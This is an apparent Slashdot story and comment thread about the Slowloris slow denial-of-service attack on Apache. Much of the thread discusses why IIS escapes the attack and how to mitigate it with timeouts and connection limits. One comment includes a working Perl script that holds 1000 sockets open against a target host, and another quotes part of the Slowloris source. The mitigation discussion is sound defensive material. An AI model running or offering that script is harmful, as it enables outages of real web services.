Attack On a Significant Flaw In Apache Released

Zerimar points out a significant flaw in Apache that can lead to a fairly trivial DoS attack is in the wild. Apache 1.x, 2.x, dhttpd, GoAhead WebServer, and Squid are confirmed vulnerable, while IIS6.0, IIS7.0, and lighttpd are confirmed not vulnerable. As of this writing, Apache Foundation does not have a patch available. From Rsnake's introduction to the attack tool: "In considering the ramifications of a slow denial of service attack against particular services, rather than flooding networks, a concept emerged that would allow a single machine to take down another machine's web server with minimal bandwidth and side effects on unrelated services and ports. The ideal situation for many denial of service attacks is where all other services remain intact but the webserver itself is completely inaccessible. Slowloris was born from this concept, and is therefore relatively very stealthy compared to most flooding tools."

Comments

So slashdot...

[santax]

be prepared to feel the slashdot-effect yourself for once!

Re:So slashdot...

[jamie]

We have a hardware load-balancer and a software reverse proxy (varnish) in front of our apache.

I kinda doubt this would work on us.

Note, I am not inviting anyone to try. It might work great for all I know :(

Re:Well its not just Apache

[The End Of Days]

You may have missed the 'not' in the summary there.

WTH? This is an absolutely trivial attack

[Rogerborg]

It's just holding sockets open; that's the "Hello, world!" of DOS attacks.

I'm finding it hard to believe that Apache is genuinely vulnerable to this. Did nobody see it coming? For real?

Why not IIS?

[MBCook]

Why isn't IIS vulnerable? Does it just assume the headers are done after some amount of time? Does it have a limit to the number of headers it accepts?

Can this even be fixed without technically breaking the protocol (since it sounds like what's going on is correct behavior, theoretically)?

Re:Why not IIS?

[Opportunist]

If the vulnerability is based on correct, standard conform behaviour of the server, I can see why IIS isn't susceptible to it.

Re:Why not IIS?

[Amouth]

unless you are using Session()'s in asp in IIS then one thread in IIS handles multiple connections.

what this is doing is opening a connection (getting a thread to work it) and holding it open (keeping the thread busy) and just keep asking for new ones.

it is very common (always i think) for Apache and allot of web servers to have a max thread's so that the site under heavy traffic doesn't open more connections than it can handle.

where IIS also has a worker thread limit - there is no limit *(you can set one - but not on by default) on how many concurrent connections can be managed by a thread (and new incoming connections are passed to the thread with the lowest current work load - not always the one with less connections)..

if you do what they are doing here i can see IIS behavior would be to slowly pile all these slow - no work connections into one thread and the others would happily go about doing actual work..

where apache would slowly lose access to workable threads as this keeps them busy.

this isn't an exploit on the http or tcp protocol - it is an exploit based on the behavior of the web server based on it's best practices for managing it.

Re:Why not IIS?

[Malc]

Does the HTTP spec say anything about the server application timing out the connection? Seems like reasonable behaviour to me. I would be surprised if this isn't a configurable option in Apache too.

People love to hate it, but IIS has matured in to a very good web server. It's my choice over Apache.

Re:Why not IIS?

[Bemopolis]

Why isn't IIS vulnerable

My guess is that the DoS attack is so slow that, by the time it would have completed, the server has already crashed for a different reason.

Re:Why not IIS?

[raju1kabir]

if you have it set to "any avaliable ip" and the box has 2 ip's your client may request data on IPA:80 and get a reply from IPB:port

If a client sends a SYN to 10.1.1.1:80 and gets an SYN-ACK from 10.5.5.5:80 then the client will not associate the two as being related, and will keep waiting for a response from 10.1.1.1:80 until timing out.

You would need to have some sort of DNS arrangement that encouraged clients to make their requests to your various IPs. You can't just respond from a different IP than the client contacted.

Boring

[Anonymous Coward]

Talk about a boring exploit: no chance for expanding the attack into anything other than a DOS, and if it becomes widespread enough, fairly trivial to fix... (just kill the oldest waiting client that does not have a full header when the last client is taken.) I'd be embarrassed to publish something like this....

iptables helps

[samjam]

You can have perlbal or any reverse proxy on the same machine but listening on a different port and then use iptables to redirect like this

# iptables -t nat -A -PREROUTING -d ! 127.0.0.1 -p tcp -m tcp --dport 8080 -j REDIRECT --to-ports 80

and then you don't need to change your apache configuration - and having apache listen on a different port to what users see can break some scripted sites if they read the port number from the apache config.

Seems to be a general problem.

[Z00L00K]

And the only resolution right now that I can see is to have a connection timeout.

At least the problem is a denial of service problem and not a problem with intrusion so the damage is easily rectified - restart the web server. Not that you really want to restart it.

And I suspect that other services can be vulnerable to this type of attack too, not only web servers.

Possible work-around

[Norsefire]

From the source:

if ( $delay < 166 ) {
print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all... you might have trouble using Slowloris against this target. You can
tweak the -tcpto flag down to 1 second but it still may not build the sockets
in time.
EOSUCKS2BU
}

Lower Apache's timeout to below 166 seconds.

Re:Possible work-around

[Bootvis]

The thing that is really amazing about this hack: Human readable perl!

Re:Well its not just Apache

[sys.stdout.write]

I'm just waiting for a "Get The Facts" campaign for "IIS vs Apache" on the Microsoft website, along with a completely accurate comparison chart!

Our system may be safe

[cjb-nc]

Obviously need to verify this, but we already run mod_cband with a per-IP connection limit of 5. This is in place to stop the over-zealous "download accelerators" from taking all our connections and DOS'ing us. I expect it would stop a single attacker using this attack, but we'd still be vulnerable to a concerted attack by MaxChildren/5 IPs.

Lingering connections handling

[moon3]

If you keep lingerers for more then 160 seconds then no wonder this is possible.

It should be non-issues on better designed servers that keep an eye on connections anyway. Any single IP spawning lots of unfinished connections gets flagged fast and remembered for the future, so it will get limited access and bandwidth, marked as abuser etc. This is serving 101.

Not a flaw, easily configured around

[Anonymous Coward]

http://httpd.apache.org/docs/2.2/mod/core.html#timeout

The issue is that the default configuration waits 5 minutes for the full request, which is painfully to long a period of time. Drop that from 300 to 5, and the "attack" goes away. If you are running the default Apache config in production, you shouldn't be.

Re:Not a flaw, easily configured around

[ID000001]

http://httpd.apache.org/docs/2.2/mod/core.html#timeout

The issue is that the default configuration waits 5 minutes for the full request, which is painfully to long a period of time. Drop that from 300 to 5, and the "attack" goes away. If you are running the default Apache config in production, you shouldn't be.

seem like a potential fix, can anyone confirm?

Re:Not a flaw, easily configured around

[Anonymous Coward]

Th work-around works fine.

I downloaded the Slowloris and was able to take down a default apache install, however with keepalive disabled and a timeout of 5, the attack became inneffective.

This may be a problem for sites with users that do long-running POSTs, but since we don't have any of those, all I can say is "It works here . . . "

For more info: http://httpd.apache.org/docs/trunk/misc/security_tips.html

HTTP hints at a solution

[greed]

HTTP 1.1 specifies a status code for "Request Timeout" (408) and "Gateway Timeout" (504).

What is needed, therefore, is a timer running for receiving the complete header, and a second one for accepting the body. The timer for the body can be controlled by the type of request and the Content-Length header. (With, of course, a specific cap.)

Currently, Apache 2.2 has a single timeout value for all types of requests, but it is interpreted differently for the different types.

If your server only handles GETs, the obvious thing is to crank that number down. Unfortunately, for PUTs, the TimeOut value affects inter-packet time in the request, not overall request time.

Strangely, the timeout doesn't seem to run in 2.2.10 and 2.2.11 before data is received. Oh dear. That's an even simpler DoS.

#!/usr/bin/env perl

use IO::Socket::INET;
use strict;
use constant DEFAULT_PORT => "http";

MAIN: {
if(@ARGV<1 or @ARGV>2) {
die "Usage: $0 host [port]\n";
}
my($host)=shift;
my($port)=@ARGV?shift:DEFAULT_PORT;

my(@sockets);

for(my $cnt=0;$cnt<1000;++$cnt) {
my $socket=new IO::Socket::INET(PeerAddr=>$host,
PeerPort=>$port,
Proto=>"tcp");
unless(defined($socket)) {
die "Cannot create socket to $host:$port--$!\n";
}
$socket->print("\r\n");
push(@sockets,$socket);
print " Have ".@sockets." open.\n";
}
}

Not quite as stealthy, though. At least as above.

Re:HTTP hints at a solution

[greed]

BTW, is there a self-mod value for "I'm not sure I should have posted that"?

Re:OpenBSD's pf has some mitigation features

[raju1kabir]

Many browsers will open more connections than this, resulting in "broken" image links on pages. I've tried all kinds of connection limits to protect against simple DOS attacks, but always have problems with corpororations whose standard desktop configs include IE/Firefox set to open way more connections than would be polite.

It becomes politically challenging to cause those users to have a problem, especially since they don't see it with other sites. The perception is always that my server has a problem, and it doesn't matter how clearly I explain what's actually happening and how inappropriate it is to have 1000 PCs all set to open 30 connections to each web site they visit.

Re:WTH? This is an absolutely trivial attack

[dword]

Let me make this clearer for those that aren't very technical: It's holding an HTTP session open and Apache has a limited number of simultaneous HTTP sessions.
All someone has to do is send about 100 requests to your website and leave them open without sending any further information. Nobody else will be able to connect to your web server for a long time. The weekend is coming, so I'm expecting lots of downtime for government sites in the next couple of days...

Re:WTH? This is an absolutely trivial attack

[Xeriar]

A simple connlimit declaration in IPTables shuts this down fairly easily...

Re:WTH? This is an absolutely trivial attack

[amicusNYCL]

Not really, it just means you need more than one attacker.

Link to the specific article

[Megane]

If you're going to post links to isc.sans.org, can you please post links to the specific article, and not just the main page?

Here is the link to the specific article: http://isc.sans.org/diary.html?storyid=6601

Re:WTH? This is an absolutely trivial attack

[Chris_Jefferson]

No, that won't work. Apache will drop connections which aren't making "useful progress".

However, it's definition of "useful progress" is flawed -- you can keep sending HTTP headers, and it will keep the connection open. You only have to send one every few seconds, so it's a very low bandwidth DOS attack.